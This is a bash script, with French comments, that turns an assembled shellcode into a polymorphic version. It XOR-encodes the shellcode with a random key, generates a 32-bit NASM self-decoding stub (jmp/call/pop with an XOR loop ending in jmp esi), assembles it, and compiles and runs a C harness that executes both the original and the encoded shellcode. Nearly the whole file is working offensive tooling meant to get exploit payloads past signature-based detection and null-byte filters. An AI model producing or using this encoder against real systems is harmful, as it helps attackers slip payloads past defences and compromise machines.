#!/bin/bash

PATH=".:/bin:/usr/bin"
IFS=" "
PFS=" "

if [ $# != 1 ]
then
   echo "Usage: $0 <path_to_assembled_shellcode>"
   exit 1
fi

# Pre requis
xor_file="./xor_file"
file2chars="./file2chars"
transform="./transform_shellcode.py"
key=`perl -e "print int(rand(256))"`

# Fichiers temporaires crees
out=".xored_shellcode"
unxor_shellcode=".unxor_shellcode"
unxor_shellcode_asm="${unxor_shellcode}.asm"
polymorphic_shellcode=".polymorphic_shellcode"
polymorphic_shellcode_asm="${polymorphic_shellcode}.asm"
testprogram="./test_bytecode"

# Compilation des petits utilitaires
gcc -o $xor_file ${xor_file}.c && $xor_file $key $1 $out
gcc -o $file2chars ${file2chars}.c

# Null value verification
verif=`$file2chars $out nasm | grep 0x00` # As the key is random, a null value may appear is the xored shellcode if the key = any byte 
if [ -n "$verif" ]
then
   echo "Bad key, retry"
   exit 1
fi


# Creation shellcode polymorphique
echo "BITS 32" > $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm
echo "jmp short sc" >> $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm
echo "retour:" >> $unxor_shellcode_asm
echo "  pop esi ; esi pointe vers le shellcode" >> $unxor_shellcode_asm
echo "  xor eax,eax" >> $unxor_shellcode_asm
echo "  xor ebx,ebx" >> $unxor_shellcode_asm
echo "  xor ecx,ecx" >> $unxor_shellcode_asm
len=`wc -c $out | cut -d " " -f1`
echo "  mov bl,$len ; ebx = $len (taille du shellcode)" >> $unxor_shellcode_asm
echo "  mov al,$key ; eax = $key (clef xor)" >> $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm
echo "boucle: ; for (ecx=0;ecx < ebx;ecx++) { (*(esi+ecx))^eax  }" >> $unxor_shellcode_asm
echo "  xor [esi+ecx],eax ; xor avec la cle" >> $unxor_shellcode_asm
echo "  inc ecx" >> $unxor_shellcode_asm
echo "  cmp ebx,ecx" >> $unxor_shellcode_asm
echo "  jne boucle" >> $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm
echo "  jmp esi ; on execute le shellcode" >> $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm
echo "sc:" >> $unxor_shellcode_asm
echo "  call retour" >> $unxor_shellcode_asm
echo -n "  shellcode db " >> $unxor_shellcode_asm
echo `$file2chars $out nasm | head -c -1` >> $unxor_shellcode_asm
echo "" >> $unxor_shellcode_asm

$transform $unxor_shellcode_asm > $polymorphic_shellcode_asm
nasm $polymorphic_shellcode_asm


echo "New shellcode: `$file2chars $polymorphic_shellcode C`"

# Creation programme de test
echo "#include <stdio.h>" > ${testprogram}.c
echo "#include <string.h>" >> ${testprogram}.c
echo "" >> ${testprogram}.c
echo "char polymorphic[]=\"`$file2chars $polymorphic_shellcode C`\";" >> ${testprogram}.c
echo "char shellcode[]=\"`$file2chars $1 C`\";" >> ${testprogram}.c
echo "" >> ${testprogram}.c
echo "int main (int argc)" >> ${testprogram}.c
echo "{" >> ${testprogram}.c
echo "        int (*sc)() = (int (*)())shellcode;" >> ${testprogram}.c
echo "        if (argc==1) {" >> ${testprogram}.c
echo "                printf(\"Launching normal shellcode\n\");" >> ${testprogram}.c
echo "                printf(\"Length: %d bytes\n\", strlen(shellcode));" >> ${testprogram}.c
echo "                sc();" >> ${testprogram}.c
echo "        }" >> ${testprogram}.c
echo "" >> ${testprogram}.c
echo "        sc = (int (*)())polymorphic;" >> ${testprogram}.c
echo "        printf(\"Launching polymorphic shellcode\n\");" >> ${testprogram}.c
echo "        printf(\"Length: %d bytes\n\", strlen(polymorphic));" >> ${testprogram}.c
echo "        sc();" >> ${testprogram}.c
echo "" >> ${testprogram}.c
echo "        return 0;" >> ${testprogram}.c
echo "}" >> ${testprogram}.c
echo "" >> ${testprogram}.c
gcc ${testprogram}.c -o $testprogram
$testprogram
$testprogram 1

rm -f $out
rm -f $unxor_shellcode
rm -f $unxor_shellcode_asm
rm -f $polymorphic_shellcode_asm
rm -f $polymorphic_shellcode
rm -f $testprogram
rm -f ${testprogram}.c
rm -f $xor_file
rm -f $file2chars

